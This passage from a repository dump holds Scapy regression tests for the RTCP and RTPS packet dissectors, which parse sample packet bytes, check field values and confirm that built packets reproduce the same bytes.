    "content": "# RTCP unit tests\n# run with:\n#   test/run_tests  -P \"load_contrib('rtcp')\" -t test/contrib/rtcp.uts -F\n\n% RTCP regression tests for Scapy\n\n############\n# RTCP\n############\n\n+ RTCP Sender Report tests\n\n= test sender report parse\n\nraw = b'\\x80\\xc8\\x00\\x06\\x9c\\xe9\\xc6\\x48\\xe5\\x61\\xe4\\x4b\\x63\\x8a\\x19\\xc9\\x98\\x64\\xea\\x2e\\x00\\x00\\x00\\x49\\x00\\x00\\x09\\x69'\nparsed = RTCP(raw)\nassert parsed.version == 2\nassert parsed.padding == 0\nassert parsed.count == 0\nassert parsed.packet_type == 200\nassert parsed.length == 6\nassert parsed.sourcesync == 0x9ce9c648\nassert parsed.sender_info.ntp_timestamp == 0xe561e44b638a19c9\nassert parsed.sender_info.rtp_timestamp == 2556750382\nassert parsed.sender_info.sender_packet_count == 73\nassert parsed.sender_info.sender_octet_count == 2409\n\n+ RTCP Receiver Report tests\n\n= test receiver report parse\n\nraw = b'\\x81\\xc9\\x00\\x07\\xa2\\xdf\\x02\\x72\\x49\\x6e\\x93\\xbd\\x00\\xff\\xff\\xff\\x00\\x00\\x59\\x47\\x00\\x00\\x00\\x00\\xe4\\x8f\\xb9\\x3a\\x00\\x03\\x3f\\x1b'\nparsed = RTCP(raw)\nassert parsed.version == 2\nassert parsed.padding == 0\nassert parsed.count == 1\nassert parsed.packet_type == 201\nassert parsed.length == 7\nassert parsed.sourcesync == 0xa2df0272\nassert parsed.report_blocks[0].sourcesync == 0x496e93bd\nassert parsed.report_blocks[0].fraction_lost == 0\nassert parsed.report_blocks[0].cumulative_lost == 0xffffff\nassert parsed.report_blocks[0].highest_seqnum_recv == 22855\nassert parsed.report_blocks[0].interarrival_jitter == 0\nassert parsed.report_blocks[0].last_SR_timestamp == 0xe48fb93a\nassert parsed.report_blocks[0].delay_since_last_SR == 212763\n\n+ RTCP Source Description tests\n\n= test source description report parse\n\nraw = b\"\\x81\\xca\\x00\\x0c\\xa2\\xdf\\x02\\x72\\x01\\x1c\\x75\\x73\\x65\\x72\\x31\\x35\" \\\n      b\"\\x30\\x33\\x34\\x38\\x38\\x39\\x30\\x31\\x40\\x68\\x6f\\x73\\x74\\x2d\\x65\\x37\" \\\n      b\"\\x32\\x64\\x62\\x34\\x33\\x64\\x06\\x09\\x47\\x53\\x74\\x72\\x65\\x61\\x6d\\x65\" \\\n      b\"\\x72\\x00\\x00\\x00\"\nparsed = RTCP(raw)\nassert parsed.version == 2\nassert parsed.padding == 0\nassert parsed.count == 1\nassert parsed.packet_type == 202\nassert parsed.length == 12\nassert parsed.sdes_chunks[0].sourcesync == 0xa2df0272\nassert parsed.sdes_chunks[0].items[0].chunk_type == 1\nassert parsed.sdes_chunks[0].items[0].length == 28\nassert parsed.sdes_chunks[0].items[0].value == b'user1503488901@host-e72db43d'\nassert parsed.sdes_chunks[0].items[1].chunk_type == 6\nassert parsed.sdes_chunks[0].items[1].length == 9\nassert parsed.sdes_chunks[0].items[1].value == b'GStreamer'\n\n+ RTCP parsing tests\n\n= test parse SR and SDES stacked\nraw = b\"\\x81\\xc9\\x00\\x07\\xa2\\xdf\\x02\\x72\\x49\\x6e\\x93\\xbd\\x00\\xff\\xff\\xff\" \\\n      b\"\\x00\\x00\\x59\\x47\\x00\\x00\\x00\\x00\\xe4\\x8f\\xb9\\x3a\\x00\\x03\\x3f\\x1b\" \\\n      b\"\\x81\\xca\\x00\\x0c\\xa2\\xdf\\x02\\x72\\x01\\x1c\\x75\\x73\\x65\\x72\\x31\\x35\" \\\n      b\"\\x30\\x33\\x34\\x38\\x38\\x39\\x30\\x31\\x40\\x68\\x6f\\x73\\x74\\x2d\\x65\\x37\" \\\n      b\"\\x32\\x64\\x62\\x34\\x33\\x64\\x06\\x09\\x47\\x53\\x74\\x72\\x65\\x61\\x6d\\x65\" \\\n      b\"\\x72\\x00\\x00\\x00\"\n\n= format SR + 2xRR and parse back\n\nrtcp = RTCP()\nrtcp.packet_type = 200\nrtcp.sourcesync = 0x01010101\nrtcp.sender_info.rtp_timestamp = 0x03030303\nrtcp.count = 2\nrtcp.report_blocks.append(ReceptionReport(sourcesync=0x04040404))\nrtcp.report_blocks.append(ReceptionReport(sourcesync=0x05050505))\nb = bytes(rtcp)\nrtcp2 = RTCP(b)\nassert rtcp2.count == 2\nassert rtcp2.length == 18\nassert rtcp2.sourcesync == 0x01010101\nassert rtcp2.sender_info.rtp_timestamp == 0x03030303\nassert len(rtcp2.sender_info.payload) == 0\nassert rtcp2.report_blocks[0].sourcesync == 0x04040404\nassert len(rtcp2.report_blocks[0].payload) == 0\nassert rtcp2.report_blocks[1].sourcesync == 0x05050505\n"
  },
  {
    "path": "test/contrib/rtps.uts",
    "content": "% Real-Time Publish-Subscribe Protocol (RTPS) dissection\n%\n% Copyright (C) 2021 Trend Micro Incorporated\n% Copyright (C) 2021 Alias Robotics S.L.\n%\n% This program is free software; you can redistribute it and/or modify it under\n% the terms of the GNU General Public License as published by the Free Software\n% Foundation; either version 2 of the License, or (at your option) any later\n% version.\n%\n% This program is distributed in the hope that it will be useful, but WITHOUT ANY\n% WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A\n% PARTICULAR PURPOSE.  See the GNU General Public License for more details.\n%\n% You should have received a copy of the GNU General Public License along with\n% this program; if not, write to the Free Software Foundation, Inc., 51 Franklin\n% Street, Fifth Floor, Boston, MA  02110-1301, USA.\n\n% RTPS layer test campaign\n\n+ Syntax check\n= Import the RTPS layer\nfrom scapy.contrib.rtps import *\npkt = b\"\\x52\\x54\\x50\\x53\\x02\\x01\\x01\\x10\\x57\\x63\\x10\\x01\\xd6\\xab\\x40\\x7f\" \\\n      b\"\\x5b\\xd9\\xbb\\x1c\\x0e\\x01\\x0c\\x00\\x88\\x2a\\x10\\x01\\x5d\\x8c\\x97\\x40\" \\\n      b\"\\x78\\xb6\\x2d\\xc2\\x09\\x01\\x08\\x00\\xf4\\x50\\x81\\x60\\x51\\xdd\\x5c\\x1c\" \\\n      b\"\\x15\\x05\\x10\\x01\\x00\\x00\\x10\\x00\\x00\\x01\\x00\\xc7\\x00\\x01\\x00\\xc2\" \\\n      b\"\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x15\\x00\\x04\\x00\" \\\n      b\"\\x02\\x01\\x00\\x00\\x16\\x00\\x04\\x00\\x01\\x10\\x00\\x00\\x02\\x00\\x08\\x00\" \\\n      b\"\\x0a\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x50\\x00\\x10\\x00\\x57\\x63\\x10\\x01\" \\\n      b\"\\xd6\\xab\\x40\\x7f\\x5b\\xd9\\xbb\\x1c\\x00\\x00\\x01\\xc1\\x58\\x00\\x04\\x00\" \\\n      b\"\\x3f\\x0c\\x00\\x00\\x0f\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x31\\x00\\x18\\x00\" \\\n      b\"\\x01\\x00\\x00\\x00\\xbd\\xeb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" \\\n      b\"\\x00\\x00\\x00\\x00\\xac\\x11\\x00\\x02\\x48\\x00\\x18\\x00\\x01\\x00\\x00\\x00\" \\\n      b\"\\xe9\\x1c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" \\\n      b\"\\xef\\xff\\x00\\x01\\x32\\x00\\x18\\x00\\x01\\x00\\x00\\x00\\xbd\\xeb\\x00\\x00\" \\\n      b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xac\\x11\\x00\\x02\" \\\n      b\"\\x33\\x00\\x18\\x00\\x01\\x00\\x00\\x00\\xe8\\x1c\\x00\\x00\\x00\\x00\\x00\\x00\" \\\n      b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xef\\xff\\x00\\x01\\x07\\x80\\x38\\x00\" \\\n      b\"\\x00\\x00\\x00\\x00\\x2c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" \\\n      b\"\\x00\\x00\\x00\\x00\\x1d\\x00\\x00\\x00\\x74\\x65\\x73\\x74\\x2e\\x6c\\x6f\\x63\" \\\n      b\"\\x61\\x6c\\x2f\\x30\\x2e\\x38\\x2e\\x30\\x2f\\x4c\\x69\\x6e\\x75\\x78\\x2f\\x4c\" \\\n      b\"\\x69\\x6e\\x75\\x78\\x00\\x00\\x00\\x00\\x19\\x80\\x04\\x00\\x00\\x80\\x06\\x00\" \\\n      b\"\\x01\\x00\\x00\\x00\"\n\n+ Test endianness\n= PID_BUILTIN_ENDPOINT_QOS endianness\nassert raw(PID_BUILTIN_ENDPOINT_QOS(parameterId=119, parameterLength=0, parameterData=b\"\")) == b'w\\x00\\x00\\x00'\n\n\n+ Test RTPS\n= RTPS default header values\npkt2 = RTPS()/RTPSMessage(submessages=[\n    RTPSSubMessage_HEARTBEAT(),\n    RTPSSubMessage_INFO_TS(),\n    RTPSSubMessage_DATA(),\n])\nassert bytes(RTPS()) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= RTPS packet declaration\npkt3 = RTPS(\n    protocolVersion=ProtocolVersionPacket(major=2, minor=1),\n    vendorId=VendorIdPacket(vendor_id=0x0110),\n    guidPrefix=GUIDPrefixPacket(\n        hostId=1466109953, appId=3601547391, instanceId=1540995868\n    ),\n    magic=b\"RTPS\",\n) / RTPSMessage(\n    submessages=[\n        RTPSSubMessage_INFO_DST(\n            submessageId=14,\n            submessageFlags=1,\n            octetsToNextHeader=12,\n            guidPrefix=GUIDPrefixPacket(\n                hostId=2284457985, appId=1569494848, instanceId=2025205186\n            ),\n        ),\n        RTPSSubMessage_INFO_TS(\n            submessageId=9,\n            submessageFlags=1,\n            octetsToNextHeader=8,\n            ts_seconds=1619087604,\n            ts_fraction=475848017,\n        ),\n        RTPSSubMessage_DATA(\n            submessageId=21,\n            submessageFlags=5,\n            octetsToNextHeader=272,\n            extraFlags=0,\n            octetsToInlineQoS=16,\n            readerEntityIdKey=256,\n            readerEntityIdKind=199,\n            writerEntityIdKey=256,\n            writerEntityIdKind=194,\n            writerSeqNumHi=0,\n            writerSeqNumLow=1,\n            data=DataPacket(\n                encapsulationKind=3,\n                encapsulationOptions=0,\n                parameterList=ParameterListPacket(\n                    parameterValues=[\n                        PID_PROTOCOL_VERSION(\n                            parameterId=21,\n                            parameterLength=4,\n                            protocolVersion=ProtocolVersionPacket(major=2, minor=1),\n                            padding=b\"\\x00\\x00\",\n                        ),\n                        PID_VENDOR_ID(\n                            parameterId=22,\n                            parameterLength=4,\n                            vendorId=VendorIdPacket(vendor_id=0x0110),\n                            padding=b\"\\x00\\x00\",\n                        ),\n                        PID_PARTICIPANT_LEASE_DURATION(\n                            parameterId=2,\n                            parameterLength=8,\n                            parameterData=b\"\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\",\n                        ),\n                        PID_PARTICIPANT_GUID(\n                            parameterId=80,\n                            parameterLength=16,\n                            guid=GUIDPacket(\n                                hostId=1466109953,\n                                appId=3601547391,\n                                instanceId=1540995868,\n                                entityId=449,\n                            ),\n                        ),\n                        PID_BUILTIN_ENDPOINT_SET(\n                            parameterId=88,\n                            parameterLength=4,\n                            parameterData=b\"?\\x0c\\x00\\x00\",\n                        ),\n                        PID_DOMAIN_ID(\n                            parameterId=15,\n                            parameterLength=4,\n                            parameterData=b\"\\x00\\x00\\x00\\x00\",\n                        ),\n                        PID_DEFAULT_UNICAST_LOCATOR(\n                            parameterId=49,\n                            parameterLength=24,\n                            locator=LocatorPacket(\n                                locatorKind=1, port=60349, address=\"172.17.0.2\"\n                            ),\n                        ),\n                        PID_DEFAULT_MULTICAST_LOCATOR(\n                            parameterId=72,\n                            parameterLength=24,\n                            locator=LocatorPacket(\n                                locatorKind=1, port=7401, address=\"239.255.0.1\"\n                            ),\n                        ),\n                        PID_METATRAFFIC_UNICAST_LOCATOR(\n                            parameterId=50,\n                            parameterLength=24,\n                            locator=LocatorPacket(\n                                locatorKind=1, port=60349, address=\"172.17.0.2\"\n                            ),\n                        ),\n                        PID_METATRAFFIC_MULTICAST_LOCATOR(\n                            parameterId=51,\n                            parameterLength=24,\n                            locator=LocatorPacket(\n                                locatorKind=1, port=7400, address=\"239.255.0.1\"\n                            ),\n                        ),\n                        PID_UNKNOWN(\n                            parameterId=32775,\n                            parameterLength=56,\n                            parameterData=b\"\\x00\\x00\\x00\\x00,\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1d\\x00\\x00\\x00test.local/0.8.0/Linux/Linux\\x00\\x00\\x00\\x00\",\n                        ),\n                        PID_UNKNOWN(\n                            parameterId=32793,\n                            parameterLength=4,\n                            parameterData=b\"\\x00\\x80\\x06\\x00\",\n                        ),\n                    ],\n                    sentinel=PID_SENTINEL(parameterId=1, parameterLength=0),\n                ),\n            ),\n        ),\n    ]\n)\n\n= RTPS header dissect\nassert pkt3.build() == pkt\n\n+ Test RTI RTPS\n= Test dissection\nd = b\"\\x52\\x54\\x50\\x53\\x02\\x03\\x01\\x01\\x01\\x01\\x30\\xba\\xa8\\x7b\\x1d\\xce\" \\\n    b\"\\xb3\\x29\\x1e\\x43\\x09\\x01\\x08\\x00\\xd6\\x64\\xa8\\x61\\x16\\x09\\x34\\x7c\" \\\n    b\"\\x15\\x05\\xdc\\x02\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\xc2\" \\\n    b\"\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x50\\x00\\x10\\x00\" \\\n    b\"\\x01\\x01\\x30\\xba\\xa8\\x7b\\x1d\\xce\\xb3\\x29\\x1e\\x43\\x00\\x00\\x01\\xc1\" \\\n    b\"\\x58\\x00\\x04\\x00\\x3f\\x0c\\x00\\x00\\x77\\x00\\x04\\x00\\x01\\x00\\x00\\x00\" \\\n    b\"\\x15\\x00\\x04\\x00\\x02\\x03\\x00\\x00\\x16\\x00\\x04\\x00\\x01\\x01\\x00\\x00\" \\\n    b\"\\x00\\x80\\x04\\x00\\x06\\x00\\x01\\x00\\x59\\x00\\x78\\x01\\x06\\x00\\x00\\x00\" \\\n    b\"\\x16\\x00\\x00\\x00\\x64\\x64\\x73\\x2e\\x73\\x79\\x73\\x5f\\x69\\x6e\\x66\\x6f\" \\\n    b\"\\x2e\\x68\\x6f\\x73\\x74\\x6e\\x61\\x6d\\x65\\x00\\x00\\x00\\x0d\\x00\\x00\\x00\" \\\n    b\"\\x64\\x66\\x30\\x62\\x36\\x64\\x38\\x33\\x61\\x62\\x34\\x36\\x00\\x00\\x00\\x00\" \\\n    b\"\\x18\\x00\\x00\\x00\\x64\\x64\\x73\\x2e\\x73\\x79\\x73\\x5f\\x69\\x6e\\x66\\x6f\" \\\n    b\"\\x2e\\x70\\x72\\x6f\\x63\\x65\\x73\\x73\\x5f\\x69\\x64\\x00\\x05\\x00\\x00\\x00\" \\\n    b\"\\x34\\x38\\x33\\x30\\x00\\x00\\x00\\x00\\x21\\x00\\x00\\x00\\x64\\x64\\x73\\x2e\" \\\n    b\"\\x73\\x79\\x73\\x5f\\x69\\x6e\\x66\\x6f\\x2e\\x65\\x78\\x65\\x63\\x75\\x74\\x61\" \\\n    b\"\\x62\\x6c\\x65\\x5f\\x66\\x69\\x6c\\x65\\x70\\x61\\x74\\x68\\x00\\x00\\x00\\x00\" \\\n    b\"\\x42\\x00\\x00\\x00\\x2f\\x75\\x73\\x72\\x2f\\x6c\\x6f\\x63\\x61\\x6c\\x2f\\x73\" \\\n    b\"\\x72\\x63\\x2f\\x72\\x74\\x69\\x2f\\x72\\x65\\x73\\x6f\\x75\\x72\\x63\\x65\\x2f\" \\\n    b\"\\x61\\x70\\x70\\x2f\\x62\\x69\\x6e\\x2f\\x78\\x36\\x34\\x4c\\x69\\x6e\\x75\\x78\" \\\n    b\"\\x32\\x2e\\x36\\x67\\x63\\x63\\x34\\x2e\\x34\\x2e\\x35\\x2f\\x72\\x74\\x69\\x64\" \\\n    b\"\\x64\\x73\\x73\\x70\\x79\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\x64\\x64\\x73\\x2e\" \\\n    b\"\\x73\\x79\\x73\\x5f\\x69\\x6e\\x66\\x6f\\x2e\\x74\\x61\\x72\\x67\\x65\\x74\\x00\" \\\n    b\"\\x14\\x00\\x00\\x00\\x78\\x36\\x34\\x4c\\x69\\x6e\\x75\\x78\\x32\\x2e\\x36\\x67\" \\\n    b\"\\x63\\x63\\x34\\x2e\\x34\\x2e\\x35\\x00\\x20\\x00\\x00\\x00\\x64\\x64\\x73\\x2e\" \\\n    b\"\\x73\\x79\\x73\\x5f\\x69\\x6e\\x66\\x6f\\x2e\\x63\\x72\\x65\\x61\\x74\\x69\\x6f\" \\\n    b\"\\x6e\\x5f\\x74\\x69\\x6d\\x65\\x73\\x74\\x61\\x6d\\x70\\x00\\x14\\x00\\x00\\x00\" \\\n    b\"\\x32\\x30\\x32\\x31\\x2d\\x30\\x36\\x2d\\x37\\x20\\x30\\x34\\x3a\\x30\\x39\\x3a\" \\\n    b\"\\x30\\x32\\x5a\\x00\\x21\\x00\\x00\\x00\\x64\\x64\\x73\\x2e\\x73\\x79\\x73\\x5f\" \\\n    b\"\\x69\\x6e\\x66\\x6f\\x2e\\x65\\x78\\x65\\x63\\x75\\x74\\x69\\x6f\\x6e\\x5f\\x74\" \\\n    b\"\\x69\\x6d\\x65\\x73\\x74\\x61\\x6d\\x70\\x00\\x00\\x00\\x00\\x14\\x00\\x00\\x00\" \\\n    b\"\\x32\\x30\\x32\\x31\\x2d\\x31\\x32\\x2d\\x31\\x20\\x30\\x39\\x3a\\x31\\x35\\x3a\" \\\n    b\"\\x32\\x39\\x5a\\x00\\x31\\x00\\x18\\x00\\x01\\x00\\x00\\x00\\xf3\\x1c\\x00\\x00\" \\\n    b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" \\\n    b\"\\x31\\x00\\x18\\x00\\x00\\x00\\x00\\x01\\xf3\\x1c\\x00\\x00\\x61\\xab\\xd9\\x79\" \\\n    b\"\\xb5\\x7c\\x13\\xa5\\x29\\x49\\x2c\\xa3\\x00\\x00\\x00\\x00\\x32\\x00\\x18\\x00\" \\\n    b\"\\x01\\x00\\x00\\x00\\xf2\\x1c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" \\\n    b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x32\\x00\\x18\\x00\\x00\\x00\\x00\\x01\" \\\n    b\"\\xf2\\x1c\\x00\\x00\\x61\\xab\\xd9\\x79\\xb5\\x7c\\x13\\xa5\\x29\\x49\\x2c\\xa3\" \\\n    b\"\\x00\\x00\\x00\\x00\\x33\\x00\\x18\\x00\\x01\\x00\\x00\\x00\\xe8\\x1c\\x00\\x00\" \\\n    b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xef\\xff\\x00\\x01\" \\\n    b\"\\x02\\x00\\x08\\x00\\x06\\x00\\x00\\x00\\xff\\xff\\xff\\x7f\\x01\\x80\\x04\\x00\" \\\n    b\"\\xff\\xff\\x00\\x00\\x62\\x00\\x28\\x00\\x22\\x00\\x00\\x00\\x52\\x54\\x49\\x20\" \\\n    b\"\\x44\\x61\\x74\\x61\\x20\\x44\\x69\\x73\\x74\\x72\\x69\\x62\\x75\\x74\\x69\\x6f\" \\\n    b\"\\x6e\\x20\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x20\\x53\\x70\\x79\\x00\\x00\\x00\" \\\n    b\"\\x0f\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x0f\\x80\\x04\\x00\\x00\\x00\\x00\\x00\" \\\n    b\"\\x10\\x80\\x14\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xe3\\xff\\x00\\x00\" \\\n    b\"\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x16\\x80\\x08\\x00\\x10\\x00\\x00\\x00\" \\\n    b\"\\x00\\x00\\x00\\x00\\x17\\x80\\x04\\x00\\x03\\x00\\x00\\x00\\x01\\x00\\x00\\x00\"\n\np0 = RTPS(d)\np1 = RTPS(\n    protocolVersion=ProtocolVersionPacket(major=2, minor=3),\n    vendorId=VendorIdPacket(vendor_id=0x0101),\n    guidPrefix=GUIDPrefixPacket(\n        hostId=16855226, appId=2826640846, instanceId=3005816387\n    ),\n    magic=b\"RTPS\",\n) / RTPSMessage(\n    submessages=[\n        RTPSSubMessage_INFO_TS(\n            submessageId=9,\n            submessageFlags=1,\n            octetsToNextHeader=8,\n            ts_seconds=1638425814,\n            ts_fraction=2083784982,\n        ),\n        RTPSSubMessage_DATA(\n            submessageId=21,\n            submessageFlags=5,\n            octetsToNextHeader=732,\n            extraFlags=0,\n            octetsToInlineQoS=16,\n            readerEntityIdKey=0,\n            readerEntityIdKind=0,\n            writerEntityIdKey=256,\n            writerEntityIdKind=194,\n            writerSeqNumHi=0,\n            writerSeqNumLow=1,\n            data=DataPacket(\n                encapsulationKind=3,\n                encapsulationOptions=0,\n                parameterList=ParameterListPacket(\n                    parameterValues=[\n                        PID_PARTICIPANT_GUID(\n                            parameterId=80,\n                            parameterLength=16,\n                            guid=GUIDPacket(\n                                hostId=16855226,\n                                appId=2826640846,\n                                instanceId=3005816387,\n                                entityId=449,\n                            ),\n                        ),\n                        PID_BUILTIN_ENDPOINT_SET(\n                            parameterId=88,\n                            parameterLength=4,\n                            parameterData=b\"?\\x0c\\x00\\x00\",\n                        ),\n                        PID_BUILTIN_ENDPOINT_QOS(\n                            parameterId=119,\n                            parameterLength=4,\n                            parameterData=b\"\\x01\\x00\\x00\\x00\",\n                        ),\n                        PID_PROTOCOL_VERSION(\n                            parameterId=21,\n                            parameterLength=4,\n                            protocolVersion=ProtocolVersionPacket(major=2, minor=3),\n                            padding=b\"\\x00\\x00\",\n                        ),\n                        PID_VENDOR_ID(\n                            parameterId=22,\n                            parameterLength=4,\n                            vendorId=VendorIdPacket(vendor_id=0x0101),\n                            padding=b\"\\x00\\x00\",\n                        ),\n                        PID_PRODUCT_VERSION(\n                            parameterId=32768,\n                            parameterLength=4,\n                            productVersion=ProductVersionPacket(\n                                major=6, minor=0, release=1, revision=0\n                            ),\n                        ),\n                        PID_PROPERTY_LIST(\n                            parameterId=89,\n                            parameterLength=376,\n                            parameterData=b\"\\x06\\x00\\x00\\x00\\x16\\x00\\x00\\x00dds.sys_info.hostname\\x00\\x00\\x00\\r\\x00\\x00\\x00df0b6d83ab46\\x00\\x00\\x00\\x00\\x18\\x00\\x00\\x00dds.sys_info.process_id\\x00\\x05\\x00\\x00\\x004830\\x00\\x00\\x00\\x00!\\x00\\x00\\x00dds.sys_info.executable_filepath\\x00\\x00\\x00\\x00B\\x00\\x00\\x00/usr/local/src/rti/resource/app/bin/x64Linux2.6gcc4.4.5/rtiddsspy\\x00\\x00\\x00\\x14\\x00\\x00\\x00dds.sys_info.target\\x00\\x14\\x00\\x00\\x00x64Linux2.6gcc4.4.5\\x00 \\x00\\x00\\x00dds.sys_info.creation_timestamp\\x00\\x14\\x00\\x00\\x002021-06-7 04:09:02Z\\x00!\\x00\\x00\\x00dds.sys_info.execution_timestamp\\x00\\x00\\x00\\x00\\x14\\x00\\x00\\x002021-12-1 09:15:29Z\\x00\",\n                        ),\n                        PID_DEFAULT_UNICAST_LOCATOR(\n                            parameterId=49,\n                            parameterLength=24,\n                            locator=LocatorPacket(\n                                locatorKind=1, port=7411, address=\"0.0.0.0\"\n                            ),\n                        ),\n                        PID_DEFAULT_UNICAST_LOCATOR(\n                            parameterId=49,\n                            parameterLength=24,\n                            locator=LocatorPacket(\n                                locatorKind=16777216,\n                                port=7411,\n                                hostId=b\"a\\xab\\xd9y\\xb5|\\x13\\xa5)I,\\xa3\\x00\\x00\\x00\\x00\",\n                            ),\n                        ),\n                        PID_METATRAFFIC_UNICAST_LOCATOR(\n                            parameterId=50,\n                            parameterLength=24,\n                            locator=LocatorPacket(\n                                locatorKind=1, port=7410, address=\"0.0.0.0\"\n                            ),\n                        ),\n                        PID_METATRAFFIC_UNICAST_LOCATOR(\n                            parameterId=50,\n                            parameterLength=24,\n                            locator=LocatorPacket(\n                                locatorKind=16777216,\n                                port=7410,\n                                hostId=b\"a\\xab\\xd9y\\xb5|\\x13\\xa5)I,\\xa3\\x00\\x00\\x00\\x00\",\n                            ),\n                        ),\n                        PID_METATRAFFIC_MULTICAST_LOCATOR(\n                            parameterId=51,\n                            parameterLength=24,\n                            locator=LocatorPacket(\n                                locatorKind=1, port=7400, address=\"239.255.0.1\"\n                            ),\n                        ),\n                        PID_PARTICIPANT_LEASE_DURATION(\n                            parameterId=2,\n                            parameterLength=8,\n                            parameterData=b\"\\x06\\x00\\x00\\x00\\xff\\xff\\xff\\x7f\",\n                        ),\n                        PID_PLUGIN_PROMISCUITY_KIND(\n                            parameterId=32769, parameterLength=4, promiscuityKind=65535\n                        ),\n                        PID_ENTITY_NAME(\n                            parameterId=98,\n                            parameterLength=40,\n                            parameterData=b'\"\\x00\\x00\\x00RTI Data Distribution Service Spy\\x00\\x00\\x00',\n                        ),\n                        PID_DOMAIN_ID(\n                            parameterId=15,\n                            parameterLength=4,\n                            parameterData=b\"\\x00\\x00\\x00\\x00\",\n                        ),\n                        PID_RTI_DOMAIN_ID(\n                            parameterId=32783, parameterLength=4, domainId=0\n                        ),\n                        PID_TRANSPORT_INFO_LIST(\n                            transportInfo=[\n                                TransportInfoPacket(classID=1, messageSizeMax=65507),\n                                TransportInfoPacket(\n                                    classID=16777216, messageSizeMax=65536\n                                ),\n                            ],\n                            parameterId=32784,\n                            parameterLength=20,\n                            padding=b\"\\x02\\x00\\x00\\x00\",\n                        ),\n                        PID_REACHABILITY_LEASE_DURATION(\n                            parameterId=32790,\n                            parameterLength=8,\n                            lease_duration=LeaseDurationPacket(\n                                seconds=268435456, fraction=0\n                            ),\n                        ),\n                        PID_VENDOR_BUILTIN_ENDPOINT_SET(\n                            parameterId=32791, parameterLength=4, flags=3\n                        ),\n                    ],\n                    sentinel=PID_SENTINEL(parameterId=1, parameterLength=0),\n                ),\n            ),\n        ),\n    ]\n)\nassert p0.build() == d\nassert p1.build() == d\n\n+ Test for pr #3914\n= RTPS Heartbeat SequenceNumber_t packing and dissection\n\nd = b\"\\x52\\x54\\x50\\x53\\x02\\x02\\x01\\x0f\\x01\\x0f\\x45\\xd2\\xb3\\xf5\\x58\\xb9\" \\\n    b\"\\x01\\x00\\x00\\x00\\x07\\x01\\x1c\\x00\\x00\\x00\\x03\\xc7\\x00\\x00\\x03\\xc2\" \\\n    b\"\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\" \\\n    b\"\\x01\\x00\\x00\\x00\"\n\np0 = RTPS(d)\n\np1 = RTPS(\n    protocolVersion=ProtocolVersionPacket(major=2, minor=2),\n    vendorId=VendorIdPacket(vendor_id=0x010f),\n    guidPrefix=GUIDPrefixPacket(\n        hostId=0x010f45d2, appId=0xb3f558b9, instanceId=0x01000000\n    ),\n    magic=b\"RTPS\",\n) / RTPSMessage(\n    submessages=[\n        RTPSSubMessage_HEARTBEAT(\n            submessageId=0x07,\n            submessageFlags=0x01,\n            octetsToNextHeader=28,\n            reader_id=b\"\\x00\\x00\\x03\\xc7\",\n            writer_id=b\"\\x00\\x00\\x03\\xc2\",\n            firstAvailableSeqNumHi=0,\n            firstAvailableSeqNumLow=1,\n            lastSeqNumHi=0,\n            lastSeqNumLow=1,\n            count=1\n        )\n    ]\n)\n\nassert p0.build() == d\nassert p1.build() == d\nassert p0 == p1\n\n+ Test for pr #3915\n= RTPS ACKNACK count packing and dissection\n\nd = b\"\\x52\\x54\\x50\\x53\\x02\\x02\\x01\\x0f\\x01\\x0f\\x45\\xd2\\xb3\\xf5\\x58\\xb9\" \\\n    b\"\\x01\\x00\\x00\\x00\\x06\\x03\\x18\\x00\\x00\\x00\\x03\\xc7\\x00\\x00\\x03\\xc2\" \\\n    b\"\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\"\np0 = RTPS(d)\n\np1 = RTPS(\n    protocolVersion=ProtocolVersionPacket(major=2, minor=2),\n    vendorId=VendorIdPacket(vendor_id=0x010f),\n    guidPrefix=GUIDPrefixPacket(\n        hostId=0x010f45d2, appId=0xb3f558b9, instanceId=0x01000000\n    ),\n    magic=b\"RTPS\",\n) / RTPSMessage(\n    submessages=[\n        RTPSSubMessage_ACKNACK(\n            submessageId=6,\n            submessageFlags=3,\n            octetsToNextHeader=0x18,\n            reader_id=b'\\x00\\x00\\x03\\xc7',\n            writer_id=b'\\x00\\x00\\x03\\xc2',\n            readerSNState=b'\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00',\n            count=1\n        )\n    ]\n)\n\nassert p0.build() == d\nassert p1.build() == d\nassert p0 == p1\n\n+ Test for #PR4545\n= RTPS length computation with inlineQos\n\np0 = RTPS(\n      protocolVersion=ProtocolVersionPacket(major=2, minor=2),\n      vendorId=VendorIdPacket(vendor_id=0x010f),\n      guidPrefix=GUIDPrefixPacket(\n        hostId=0x010f45d2, appId=0xb3f558b9, 